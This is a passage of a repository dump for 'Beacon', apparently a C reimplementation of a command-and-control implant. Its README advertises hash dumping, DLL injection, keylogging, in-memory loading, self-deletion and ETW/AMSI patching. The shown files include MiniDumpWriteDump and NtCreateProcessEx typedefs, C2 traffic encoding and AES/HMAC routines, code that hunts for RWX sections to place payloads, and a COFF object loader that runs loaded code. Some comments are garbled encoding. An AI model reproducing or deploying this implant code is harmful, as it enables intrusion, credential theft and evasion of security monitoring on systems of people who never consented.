HighWaterPagedPoolUsage; ULONG HighWaterNonPagedPoolUsage; ULONG HighWaterNamePoolUsage; ULONG HighWaterHandleTableUsage; ULONG InvalidAttributes; GENERIC_MAPPING GenericMapping; ULONG ValidAccessMask; BOOLEAN SecurityRequired; BOOLEAN MaintainHandleCount; UCHAR TypeIndex; CHAR ReservedByte; ULONG PoolType; ULONG DefaultPagedPoolCharge; ULONG DefaultNonPagedPoolCharge; } OBJECT_TYPE_INFORMATION_V2, * POBJECT_TYPE_INFORMATION_V2; //typedef struct _OBJECT_ATTRIBUTES { // ULONG Length; // HANDLE RootDirectory; // PUNICODE_STRING ObjectName; // ULONG Attributes; // PVOID SecurityDescriptor; // PVOID SecurityQualityOfService; //} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef enum _FILE_INFORMATION_CLASS { FileDirectoryInformation = 1, FileFullDirectoryInformation, // 2 FileBothDirectoryInformation, // 3 FileBasicInformation, // 4 FileStandardInformation, // 5 FileInternalInformation, // 6 FileEaInformation, // 7 FileAccessInformation, // 8 FileNameInformation, // 9 FileRenameInformation, // 10 FileLinkInformation, // 11 FileNamesInformation, // 12 FileDispositionInformation, // 13 FilePositionInformation, // 14 FileFullEaInformation, // 15 FileModeInformation, // 16 FileAlignmentInformation, // 17 FileAllInformation, // 18 FileAllocationInformation, // 19 FileEndOfFileInformation, // 20 FileAlternateNameInformation, // 21 FileStreamInformation, // 22 FilePipeInformation, // 23 FilePipeLocalInformation, // 24 FilePipeRemoteInformation, // 25 FileMailslotQueryInformation, // 26 FileMailslotSetInformation, // 27 FileCompressionInformation, // 28 FileObjectIdInformation, // 29 FileCompletionInformation, // 30 FileMoveClusterInformation, // 31 FileQuotaInformation, // 32 FileReparsePointInformation, // 33 FileNetworkOpenInformation, // 34 FileAttributeTagInformation, // 35 FileTrackingInformation, // 36 FileIdBothDirectoryInformation, // 37 FileIdFullDirectoryInformation, // 38 FileValidDataLengthInformation, // 39 FileShortNameInformation, // 40 FileIoCompletionNotificationInformation, // 41 FileIoStatusBlockRangeInformation, // 42 FileIoPriorityHintInformation, // 43 FileSfioReserveInformation, // 44 FileSfioVolumeInformation, // 45 FileHardLinkInformation, // 46 FileProcessIdsUsingFileInformation, // 47 FileNormalizedNameInformation, // 48 FileNetworkPhysicalNameInformation, // 49 FileIdGlobalTxDirectoryInformation, // 50 FileIsRemoteDeviceInformation, // 51 FileUnusedInformation, // 52 FileNumaNodeInformation, // 53 FileStandardLinkInformation, // 54 FileRemoteProtocolInformation, // 55 // // These are special versions of these operations (defined earlier) // which can be used by kernel mode drivers only to bypass security // access checks for Rename and HardLink operations. These operations // are only recognized by the IOManager, a file system should never // receive these. // FileRenameInformationBypassAccessCheck, // 56 FileLinkInformationBypassAccessCheck, // 57 // // End of special information classes reserved for IOManager. // FileVolumeNameInformation, // 58 FileIdInformation, // 59 FileIdExtdDirectoryInformation, // 60 FileReplaceCompletionInformation, // 61 FileHardLinkFullIdInformation, // 62 FileIdExtdBothDirectoryInformation, // 63 FileDispositionInformationEx, // 64 FileRenameInformationEx, // 65 FileRenameInformationExBypassAccessCheck, // 66 FileDesiredStorageClassInformation, // 67 FileStatInformation, // 68 FileMemoryPartitionInformation, // 69 FileStatLxInformation, // 70 FileCaseSensitiveInformation, // 71 FileLinkInformationEx, // 72 FileLinkInformationExBypassAccessCheck, // 73 FileStorageReserveIdInformation, // 74 FileCaseSensitiveInformationForceAccessCheck, // 75 FileKnownFolderInformation, // 76 FileMaximumInformation } FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS; typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; PVOID Pointer; }; ULONG_PTR Information; } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; typedef const UNICODE_STRING* PCUNICODE_STRING; typedef struct _FILE_PROCESS_IDS_USING_FILE_INFORMATION { ULONG NumberOfProcessIdsInList; ULONG_PTR ProcessIdList[1]; } FILE_PROCESS_IDS_USING_FILE_INFORMATION, * PFILE_PROCESS_IDS_USING_FILE_INFORMATION; typedef struct _THREAD_PARAMETERS { int pid; wchar_t* cmdline; } THREAD_PARAMETERS; typedef NTSTATUS(NTAPI* pNtQuerySystemInformation)(ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); typedef NTSTATUS(NTAPI* pNtQueryObject)(_In_opt_ HANDLE Handle, _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, _Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation, _In_ ULONG ObjectInformationLength, _Out_opt_ PULONG ReturnLength); typedef NTSTATUS(NTAPI* pRtlCompareUnicodeString)(_In_ PCUNICODE_STRING String1, _In_ PCUNICODE_STRING String2, _In_ BOOLEAN CaseInSensitive); typedef NTSTATUS(NTAPI* pNtCreateProcessEx)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, HANDLE ParentProcess, ULONG Flags, HANDLE SectionHandle OPTIONAL, HANDLE DebugPort OPTIONAL, HANDLE ExceptionPort OPTIONAL, BOOLEAN InJob); typedef BOOL(WINAPI* pMiniDumpWriteDump)(HANDLE hProcess, DWORD dwPid, HANDLE hFile, int DumpType, PVOID ExceptionParam, PVOID UserStreamParam, PVOID CallbackParam); typedef NTSTATUS(NTAPI* pNtQueryInformationFile)(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, FILE_INFORMATION_CLASS FileInformationClass); ================================================ FILE: Beacon/util.c ================================================ #include "Util.h" #include "Config.h" #include #pragma warning(disable:4996) uint16_t Readshort(uint8_t* b) { return (uint16_t)b[0] << 8 | (uint16_t)b[1]; } bool IsHighPriv() { // ڴ˴джǷиȨ޵߼ HANDLE hToken; TOKEN_ELEVATION elevation; DWORD size; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { printf("Failed to open process token.\n"); return FALSE; } if (!GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &size)) { CloseHandle(hToken); printf("Failed to get token information.\n"); return FALSE; } CloseHandle(hToken); return elevation.TokenIsElevated; } uint32_t bigEndianUint32(uint8_t b[4]) { return ((uint32_t)b[0] << 24) | ((uint32_t)b[1] << 16) | ((uint32_t)b[2] << 8) | (uint32_t)b[3]; } void PutUint32BigEndian(uint8_t* b, uint32_t v) { b[0] = (uint8_t)(v >> 24); b[1] = (uint8_t)(v >> 16); b[2] = (uint8_t)(v >> 8); b[3] = (uint8_t)v; } uint8_t* WriteInt(size_t nInt, uint8_t* bBytes) { PutUint32BigEndian(bBytes, nInt); return bBytes; } void PutUint16BigEndian(uint8_t* bytes, uint16_t value) { bytes[0] = (value >> 8) & 0xFF; bytes[1] = value & 0xFF; } unsigned char* RandomAESKey(unsigned char* aesKey, size_t keyLength) { // Generate random bytes for AES key RAND_bytes(aesKey, keyLength); //Output generated AES key //printf("GlobalKey Key: "); /*for (size_t i = 0; i < keyLength; ++i) { printf("0x%02x, ", aesKey[i]); } printf("\n"); for (size_t i = 0; i < keyLength; ++i) { printf("%d, ", aesKey[i]); } printf("\n");*/ return aesKey; } // ĸ'A''Z' wchar_t getRandomWideLetter() { return L'A' + rand() % 26; // ĸ'A''Z' } // int GenerateEvenRandomInt(int min, int max) { srand((unsigned int)time(NULL)); // ʹõǰʱΪ int randomInt = rand() % (max - min + 1) + min; // min max ֮ if (randomInt % 2 != 0) { // ΪһʹΪż randomInt++; } return randomInt; } uint8_t* ConByte(uint8_t** arrays, size_t* sizes, size_t numArrays) { size_t totalSize = 0; // ܴС for (size_t i = 0; i < numArrays; ++i) { totalSize += sizes[i]; } uint8_t* result = (uint8_t*)malloc(totalSize); // 㹻ڴӺ if (result == NULL) { // ڴʧ return NULL; } size_t offset = 0; // ÿݵ for (size_t i = 0; i < numArrays; ++i) { memcpy(result + offset, arrays[i], sizes[i]); offset += sizes[i]; } return result; } char* base64Encode(unsigned char* data, size_t inputLength) { BIO* bio, * b64; BUF_MEM* bufferPtr; b64 = BIO_new(BIO_f_base64()); BIO_set_flags(b64, BIO_FLAGS_BASE64_NO_NL); bio = BIO_new(BIO_s_mem()); bio = BIO_push(b64, bio); BIO_write(bio, data, inputLength); BIO_flush(bio); BIO_get_mem_ptr(bio, &bufferPtr); BIO_set_close(bio, BIO_NOCLOSE); BIO_free_all(bio); char* encodedData = (char*)malloc(bufferPtr->length + 1); if (!encodedData) { fprintf(stderr, "ڴʧ\n"); return NULL; } memcpy(encodedData, bufferPtr->data, bufferPtr->length); encodedData[bufferPtr->length] = '\0'; return encodedData; } unsigned char* NetbiosEncode(unsigned char* data, size_t data_length, unsigned char key, size_t* encoded_length) { if (data == NULL || data_length == 0) { return NULL; } unsigned char* result = (unsigned char*)malloc(2 * data_length * sizeof(unsigned char)); if (result == NULL) { // Handle memory allocation failure return NULL; } *encoded_length = 0; for (size_t i = 0; i < data_length; ++i) { unsigned char value = data[i]; unsigned char buf[2]; buf[0] = (value >> 4) + key; buf[1] = (value & 0xF) + key; result[(*encoded_length)++] = buf[0]; result[(*encoded_length)++] = buf[1]; } /*printf("NetbiosEncode : \n"); for (size_t i = 0; i < 2 * data_length * sizeof(unsigned char); ++i) { printf("%d ", result[i]); } printf("\n");*/ return result; } unsigned char* NetbiosDecode(unsigned char* data, int data_length, unsigned char key ,size_t* NetbiosDecodelen) { for (int i = 0; i < data_length; i += 2) { data[i / 2] = ((data[i] - key) << 4) + ((data[i + 1] - key) & 0xf); } *NetbiosDecodelen = data_length / 2; return data; } void XOR(unsigned char* data, unsigned char* key, size_t length) { for (size_t i = 0; i < length; ++i) { data[i] ^= key[i % 4]; // Assuming the key is 4 bytes, XOR operation } } unsigned char* MaskEncode(unsigned char* data, size_t data_length , size_t* codelen) { unsigned char* result = (unsigned char*)malloc((data_length + 4) * sizeof(unsigned char*)); if (result == NULL) { // Handle memory allocation failure return NULL; } // Generate random key unsigned char key[4]; for (int i = 0; i < 4; ++i) { key[i] = rand() & 0xFF; // Assuming the key is 4 bytes } // Copy the key to the beginning of the result buffer memcpy(result, key, 4); // Perform XOR operation on the data using the key XOR(data, key, data_length); // Copy the XORed data to the result buffer after the key memcpy(result + 4, data, data_length); result[data_length + 4] = '\0'; // printf("MaskEncode : \n"); /* for (size_t i = 0; i < data_length + 4; ++i) { printf("%d ", result[i]); } printf("\n");*/ *codelen = data_length + 4; return result; } // MaskDecode function (assuming XOR operation as in the Go code) unsigned char* MaskDecode(unsigned char* data, size_t data_length, unsigned char* key, int key_length) { for (int i = 0; i < data_length; ++i) { data[i] ^= key[i % key_length]; } return data; } //unsigned char* PaddingWithA(const unsigned char* rawData, size_t rawDataLen, size_t* paddedDataLen) { // size_t blockSize = AES_BLOCK_SIZE; // size_t paddedLen = ((rawDataLen + blockSize - 1) / blockSize) * blockSize; // unsigned char* paddedData = (unsigned char*)malloc(paddedLen); // if (paddedData == NULL) { // fprintf(stderr, "Memory allocation failed\n"); // return NULL; // } // // memcpy(paddedData, rawData, rawDataLen); // // for (size_t i = rawDataLen; i < paddedLen; i++) { // paddedData[i] = 'A'; // Fill with 'A' // } // // *paddedDataLen = paddedLen; // return paddedData; //} unsigned char* PaddingWithA(unsigned char* rawData, size_t len, size_t* paddedDataLen) { size_t step = 16; size_t pad = len % step; size_t padSize = step - pad; unsigned char* newBuf = malloc(len + padSize + 1); // Extra byte for '\0' if (newBuf == NULL) { fprintf(stderr, "ڴʧ\n"); return NULL; } memcpy(newBuf, rawData, len); memset(newBuf + len, 'A', padSize); newBuf[len + padSize] = '\0'; *paddedDataLen = len + padSize; return newBuf; } unsigned char* AesCBCEncrypt(unsigned char* rawData, unsigned char* key,size_t len, size_t* encryptedDataLen) { AES_KEY aesKey; unsigned char IVA[AES_BLOCK_SIZE]; memcpy(IVA, IV, AES_BLOCK_SIZE); if (AES_set_encrypt_key(key, 128, &aesKey) != 0) { fprintf(stderr, "AES_set_encrypt_key error\n"); return NULL; } size_t blockSize = 16; // AES block size is 16 bytes size_t paddedDataLen; unsigned char* paddedData = PaddingWithA(rawData, len,&paddedDataLen); if (paddedData == NULL) { return NULL; } size_t paddedLen = paddedDataLen; size_t cipherTextLen = blockSize + paddedLen; unsigned char* paddedLenDATA = malloc(paddedLen + 1); // Extra byte for '\0' if (paddedLenDATA == NULL) { fprintf(stderr, "ڴʧ\n"); free(paddedData); return NULL; } AES_cbc_encrypt(paddedData, paddedLenDATA, paddedLen, &aesKey, IVA, AES_ENCRYPT); unsigned char ADD[16] = { 0X00,0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00 }; unsigned char* cipherText = malloc(cipherTextLen + 1); memcpy(cipherText, ADD ,16); memcpy(cipherText+16, paddedLenDATA, paddedLen); *encryptedDataLen = paddedLen+16; return cipherText; } unsigned char* AesCBCDecrypt(unsigned char* encryptData, unsigned char* key, size_t dataLen , size_t* decryptAES_CBCdatalen) { AES_KEY aesKey; unsigned char IVA[AES_BLOCK_SIZE]; memcpy(IVA, IV, AES_BLOCK_SIZE); if (AES_set_decrypt_key(key, 128, &aesKey) < 0) { fprintf(stderr, "Failed to set AES decryption key\n"); return NULL; } if (dataLen % AES_BLOCK_SIZE != 0) { fprintf(stderr, "Ciphertext is not a multiple of the block size\n"); return NULL; } unsigned char* decryptData = (unsigned char*)malloc(dataLen); if (decryptData == NULL) { fprintf(stderr, "Memory allocation failed\n"); return NULL; } AES_cbc_encrypt(encryptData, decryptData, dataLen, &aesKey, IVA, AES_DECRYPT); unsigned long errCode = ERR_get_error(); if (errCode != 0) { char errStr[256]; ERR_error_string(errCode, errStr); fprintf(stderr, "OpenSSL error: %s\n", errStr); } /* printf("AESCBCdecryptData %d \n", dataLen); for (int i = 0; i < dataLen; i++) { printf("%d ", decryptData[i]); }*/ *decryptAES_CBCdatalen = dataLen; return decryptData; } // 庯ַת unsigned char* CodepageToUTF8(unsigned char* input, size_t inputLen, size_t* outputLen) { int utf8Len = MultiByteToWideChar(CP_ACP, 0, (LPCSTR)input, inputLen, NULL, 0); if (utf8Len == 0) { printf("Error in MultiByteToWideChar: %d\n", GetLastError()); return NULL; } wchar_t* utf16Buffer = (wchar_t*)malloc((utf8Len + 1) * sizeof(wchar_t)); if (utf16Buffer == NULL) { printf("Memory allocation error.\n"); return NULL; } MultiByteToWideChar(CP_ACP, 0, (LPCSTR)input, inputLen, utf16Buffer, utf8Len); int utf8OutputLen = WideCharToMultiByte(CP_UTF8, 0, utf16Buffer, utf8Len, NULL, 0, NULL, NULL); if (utf8OutputLen == 0) { printf("Error in WideCharToMultiByte: %d\n", GetLastError()); free(utf16Buffer); return NULL; } unsigned char* utf8Buffer = (unsigned char*)malloc(utf8OutputLen + 1); if (utf8Buffer == NULL) { printf("Memory allocation error.\n"); free(utf16Buffer); return NULL; } WideCharToMultiByte(CP_UTF8, 0, utf16Buffer, utf8Len, (LPSTR)utf8Buffer, utf8OutputLen, NULL, NULL); utf8Buffer[utf8OutputLen] = '\0'; free(utf16Buffer); *outputLen = utf8OutputLen; return utf8Buffer; } #define HMAC_KEY_LENGTH 16 // HMAC Keyij extern unsigned char Hmackey[16]; //extern unsigned char Hmackey[16]; #define HMAC_KEY_LENGTH 16 // Assuming HMAC key length is 16 bytes unsigned char* HMkey(const unsigned char* encryptedBytes, size_t encryptedBytesLen) { if (encryptedBytes == NULL || encryptedBytesLen == 0) { return NULL; } unsigned char hmac_result[EVP_MAX_MD_SIZE]; unsigned int hmac_len = 0; HMAC_CTX* hmac_ctx = HMAC_CTX_new(); if (hmac_ctx == NULL) { fprintf(stderr, "Failed to create HMAC context\n"); return NULL; } if (!HMAC_Init_ex(hmac_ctx, Hmackey, HMAC_KEY_LENGTH, EVP_sha256(), NULL)) { fprintf(stderr, "HMAC initialization failed\n"); HMAC_CTX_free(hmac_ctx); return NULL; } if (!HMAC_Update(hmac_ctx, encryptedBytes, encryptedBytesLen)) { fprintf(stderr, "HMAC update failed\n"); HMAC_CTX_free(hmac_ctx); return NULL; } if (!HMAC_Final(hmac_ctx, hmac_result, &hmac_len)) { fprintf(stderr, "HMAC finalization failed\n"); HMAC_CTX_free(hmac_ctx); return NULL; } HMAC_CTX_free(hmac_ctx); // Return only the first 16 bytes of the HMAC result unsigned char* truncated_hmac = (unsigned char*)malloc(16 * sizeof(unsigned char)); if (truncated_hmac == NULL) { fprintf(stderr, "Memory allocation failed\n"); return NULL; } memcpy(truncated_hmac, hmac_result, 16); return truncated_hmac; } unsigned char* intToUnsignedChar(int value) { unsigned char* result = (unsigned char*)malloc(sizeof(int)); // СͬĿռ if (result == NULL) { perror("Memory allocation failed"); exit(EXIT_FAILURE); } // ʹλ㽫ֳֽڲ洢 for (int i = 0; i < sizeof(int); ++i) { result[i] = (value >> (8 * i)) & 0xFF; } return result; } unsigned char* str_replace_all(unsigned char* str, unsigned char* find, unsigned char* replace) { size_t find_len = strlen(find); size_t replace_len = strlen(replace); size_t str_len = strlen(str); // 滻ַij size_t result_len = 0; unsigned char* ptr = str; while ((ptr = strstr(ptr, find)) != NULL) { result_len += replace_len; ptr += find_len; } // 滻ַʵʳ size_t result_actual_len = str_len + result_len; // 㹻ڴռ洢滻ַ unsigned char* result = (unsigned char*)malloc((result_actual_len + 1) * sizeof(unsigned char)); if (result == NULL) { return NULL; // ڴʧ } unsigned char* res_ptr = result; ptr = str; while (*ptr) { if (strstr(ptr, find) == ptr) { strcpy(res_ptr, replace); res_ptr += replace_len; ptr += find_len; } else { *res_ptr++ = *ptr++; } } *res_ptr = '\0'; return result; } DWORD_PTR FindRWXOffset(HMODULE hModule) { IMAGE_NT_HEADERS* ntHeader = ImageNtHeader(hModule); if (ntHeader != NULL) { IMAGE_SECTION_HEADER* sectionHeader = IMAGE_FIRST_SECTION(ntHeader); for (WORD i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) { if ((sectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHeader->Characteristics & IMAGE_SCN_MEM_READ)) { DWORD_PTR baseAddress = (DWORD_PTR)hModule; DWORD_PTR sectionOffset = sectionHeader->VirtualAddress; DWORD_PTR sectionSize = sectionHeader->SizeOfRawData; //printf("Base Address: %p\n", (void*)baseAddress); //printf("Section Offset: %p\n", (void*)sectionOffset); //printf("Size of section: %lu\n", sectionSize); return sectionOffset; } sectionHeader++; } } return 0; } DWORD_PTR FindRWXSize(HMODULE hModule) { IMAGE_NT_HEADERS* ntHeader = ImageNtHeader(hModule); if (ntHeader != NULL) { IMAGE_SECTION_HEADER* sectionHeader = IMAGE_FIRST_SECTION(ntHeader); for (WORD i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) { if ((sectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHeader->Characteristics & IMAGE_SCN_MEM_READ)) { DWORD_PTR sectionSize = sectionHeader->SizeOfRawData; printf("Size of section: %lu\n", sectionSize); return sectionSize; } sectionHeader++; } } return 0; } LPVOID RWXaddress() { HMODULE hDll = LoadLibraryW(L"System.Private.CoreLib.ni.dll"); if (hDll == NULL) { DWORD error = GetLastError(); LPVOID lpMsgBuf; FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, error, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&lpMsgBuf, 0, NULL ); // Print error message wprintf(L"Failed to load the targeted DLL: %s\n", (wchar_t*)lpMsgBuf); // Free resources LocalFree(lpMsgBuf); } MODULEINFO moduleInfo; if (!GetModuleInformation( GetCurrentProcess(), hDll, &moduleInfo, sizeof(MODULEINFO)) ) { // fail printf("Failed to get module info\n"); } DWORD_PTR RWX_SECTION_OFFSET = FindRWXOffset(hDll); DWORD_PTR RWX_SECTION_SIZE = FindRWXSize(hDll); LPVOID payloadAddress = (LPVOID)((PBYTE)moduleInfo.lpBaseOfDll + RWX_SECTION_OFFSET); return payloadAddress; } ================================================ FILE: Beacon.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 17 VisualStudioVersion = 17.6.33829.357 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Beacon", "Beacon\Beacon.vcxproj", "{191A6F50-AE83-44D1-8446-9AFB9A077A97}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|x64 = Release|x64 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {191A6F50-AE83-44D1-8446-9AFB9A077A97}.Debug|x64.ActiveCfg = Debug|x64 {191A6F50-AE83-44D1-8446-9AFB9A077A97}.Debug|x64.Build.0 = Debug|x64 {191A6F50-AE83-44D1-8446-9AFB9A077A97}.Debug|x86.ActiveCfg = Debug|Win32 {191A6F50-AE83-44D1-8446-9AFB9A077A97}.Debug|x86.Build.0 = Debug|Win32 {191A6F50-AE83-44D1-8446-9AFB9A077A97}.Release|x64.ActiveCfg = Release|x64 {191A6F50-AE83-44D1-8446-9AFB9A077A97}.Release|x64.Build.0 = Release|x64 {191A6F50-AE83-44D1-8446-9AFB9A077A97}.Release|x86.ActiveCfg = Release|Win32 {191A6F50-AE83-44D1-8446-9AFB9A077A97}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {5E985E9E-A6D4-4AD8-9127-66D77FF25434} EndGlobalSection EndGlobal ================================================ FILE: README.md ================================================ # Beacon 郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担。 ## 0x01、介绍 作者:[Monster3](https://github.com/M0nster3) 以后不主要搞安全了,把之前搞得一些东西放出来,大家可以参考参考。 ## 0x02、实现的一些功能 目前实现修改过的 dump hash ,dll 注入功能,键盘记录,joblist,jobkill,Bof 加载,net 内存加载,shell,run、文件操作相应的功能,sleep,获取主机目录,还有自删除以及 patch ETW,patch Amsi 还添加了光明之门等功能。 可能有一些bug,师傅们看的自己修改一下 ================================================ FILE: ceshi/ce.c ================================================ //֧clx64 obj #include #include #include #include #include #include #pragma warning(disable:4996) void vPrintf(char* fmt) { printf(fmt); } int main() { HANDLE hFile = CreateFile(L"self_delete.x6.o", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("CreateFile error.\n"); return 0; } int file_size = 0; file_size = GetFileSize(hFile, NULL); char* buff; buff = (char*)malloc(file_size); DWORD dwRead; if (!ReadFile(hFile, buff, file_size, &dwRead, NULL)) { printf("ReadFile error.\n"); return 0; } //COFFļͷ PIMAGE_FILE_HEADER PECOFF_FileHeader = (PIMAGE_FILE_HEADER)buff; printf("Machine: %x \n", PECOFF_FileHeader->Machine); printf("NumberOfSections %d \n", PECOFF_FileHeader->NumberOfSections); printf("TimeDateStamp %d \n", PECOFF_FileHeader->TimeDateStamp); printf("PointerToSymbolTable %d \n", PECOFF_FileHeader->PointerToSymbolTable); printf("NumberOfSymbols %d \n", PECOFF_FileHeader->NumberOfSymbols); printf("SizeOfOptionalHeader %d \n", PECOFF_FileHeader->SizeOfOptionalHeader); printf("Characteristics %x \n", PECOFF_FileHeader->Characteristics); //SizeOfOptionalHeader no //COFFڱ PIMAGE_SECTION_HEADER* PECOFF_SectionHeader_arr = (PIMAGE_SECTION_HEADER*)malloc(PECOFF_FileHeader->NumberOfSections * sizeof(PIMAGE_SECTION_HEADER)); memset(PECOFF_SectionHeader_arr, 0, PECOFF_FileHeader->NumberOfSections * sizeof(PIMAGE_SECTION_HEADER)); PIMAGE_SECTION_HEADER PECOFF_SectionHeader = (PIMAGE_SECTION_HEADER)(buff + sizeof(IMAGE_FILE_HEADER)); for (size_t i = 0; i <= PECOFF_FileHeader->NumberOfSections - 1; i++) { PECOFF_SectionHeader_arr[i] = PECOFF_SectionHeader; printf(" %s \n", PECOFF_SectionHeader->Name); printf("δС %d \n", PECOFF_SectionHeader->SizeOfRawData); PECOFF_SectionHeader++; } //ضλ int Relocation_len = 0; for (int i = 0; i <= PECOFF_FileHeader->NumberOfSections - 1; i++) { Relocation_len += PECOFF_SectionHeader_arr[i]->NumberOfRelocations; } int x = 0; PIMAGE_RELOCATION* PECOFF_Relocation_arr = (PIMAGE_RELOCATION*)malloc(Relocation_len * sizeof(PIMAGE_RELOCATION)); memset(PECOFF_Relocation_arr, 0, Relocation_len * sizeof(PIMAGE_RELOCATION)); for (int i = 0; i <= PECOFF_FileHeader->NumberOfSections - 1; i++) { if (PECOFF_SectionHeader_arr[i]->NumberOfRelocations) { PIMAGE_RELOCATION PECOFF_Relocation = (PIMAGE_RELOCATION)(buff + PECOFF_SectionHeader_arr[i]->PointerToRelocations); for (int y = 0; y < PECOFF_SectionHeader_arr[i]->NumberOfRelocations; y++) { PECOFF_Relocation_arr[x] = PECOFF_Relocation; PECOFF_Relocation++; x++; } } } //ӡ //ű PIMAGE_SYMBOL PECOFF_SYMBOL = (PIMAGE_SYMBOL)(buff + PECOFF_FileHeader->PointerToSymbolTable); PIMAGE_SYMBOL* PECOFF_SYMBOL_arr = (PIMAGE_SYMBOL*)malloc(PECOFF_FileHeader->NumberOfSymbols * sizeof(PIMAGE_SYMBOL)); memset(PECOFF_SYMBOL_arr, 0, PECOFF_FileHeader->NumberOfSymbols * sizeof(PIMAGE_SYMBOL)); for (int i = 0; i <= PECOFF_FileHeader->NumberOfSymbols - 1; i++) { PECOFF_SYMBOL_arr[i] = PECOFF_SYMBOL; PECOFF_SYMBOL++; } //账NumberOfAuxSymbols //ضλͺָ char* Fun_ptr = buff + PECOFF_SectionHeader_arr[0]->PointerToRawData; for (int i = 0; i <= PECOFF_FileHeader->NumberOfSections - 1; i++) { if (PECOFF_SectionHeader_arr[i]->NumberOfRelocations) { PIMAGE_RELOCATION PECOFF_Relocation = (PIMAGE_RELOCATION)(buff + PECOFF_SectionHeader_arr[i]->PointerToRelocations); for (int y = 0; y < PECOFF_SectionHeader_arr[i]->NumberOfRelocations; y++) { int sys_index = PECOFF_Relocation->SymbolTableIndex; if (PECOFF_SYMBOL_arr[sys_index]->StorageClass == 3) { char* patch_data = buff + (PECOFF_Relocation->VirtualAddress + PECOFF_SectionHeader_arr[i]->PointerToRawData); *(DWORD*)patch_data = ((DWORD64)(buff + ((PECOFF_SYMBOL_arr[sys_index]->Value) + (PECOFF_SectionHeader_arr[PECOFF_SYMBOL_arr[sys_index]->SectionNumber - 1]->PointerToRawData))) - (DWORD64)(patch_data + 4)); } else { if (!(PECOFF_SYMBOL_arr[sys_index]->N.Name.Short)) { char* pstr = (buff + PECOFF_FileHeader->PointerToSymbolTable) + (PECOFF_FileHeader->NumberOfSymbols * sizeof(IMAGE_SYMBOL)); pstr += (DWORD)(PECOFF_SYMBOL_arr[sys_index]->N.Name.Long); if (!strcmp(pstr, "__imp_vPrintf")) { char* patch_data = buff + (PECOFF_Relocation->VirtualAddress + PECOFF_SectionHeader_arr[i]->PointerToRawData); *(DWORD64*)Fun_ptr = (DWORD64)vPrintf; *(DWORD*)patch_data = ((DWORD64)Fun_ptr - (DWORD64)(patch_data + 4)); DWORD64* ptr = (DWORD64*)Fun_ptr; ptr++; Fun_ptr = (char*)ptr; } else { pstr += 6; char* dllname; char* funname; dllname = strtok(pstr, "$"); funname = strtok(NULL, "$"); DWORD64 fun_add = (DWORD64)GetProcAddress(LoadLibraryA(dllname), funname); char* patch_data = buff + (PECOFF_Relocation->VirtualAddress + PECOFF_SectionHeader_arr[i]->PointerToRawData); *(DWORD64*)Fun_ptr = (DWORD64)fun_add; *(DWORD*)patch_data = ((DWORD64)Fun_ptr - (DWORD64)(patch_data + 4)); DWORD64* ptr = (DWORD64*)Fun_ptr; ptr++; Fun_ptr = (char*)ptr; } } } PECOFF_Relocation++; } } } //ѰgoΪڵ DWORD oep; for (int i = 0; i < PECOFF_FileHeader->NumberOfSymbols - 1; i++) { if (!strncmp((char*)(PECOFF_SYMBOL_arr[i]->N.ShortName), "go", 2)) { oep = PECOFF_SYMBOL_arr[i]->Value; } } char* jmp = 0; for (int i = 0; i < PECOFF_FileHeader->NumberOfSections - 1; i++) { if (!strncmp((char*)PECOFF_SectionHeader_arr[i]->Name, ".text", 5)) { jmp = (buff + PECOFF_SectionHeader_arr[i]->PointerToRawData + oep); } } printf("0x%016I64x \n", jmp); DWORD Protect; if (VirtualProtect(buff, file_size, PAGE_EXECUTE_READWRITE, &Protect) != 0) { ((void(*)(void))jmp)(); }; //printf("%x",GetLastError()); return 0; } ================================================ FILE: ceshi/ceshi.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 16.0 Win32Proj {e627f4de-5f33-4d18-bb6d-1c3d0f709423} ceshi 10.0 Application true v143 Unicode Application false v143 true Unicode Application true v143 Unicode Application false v143 true Unicode Level3 true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true Level3 true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true Level3 true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true true true ================================================ FILE: 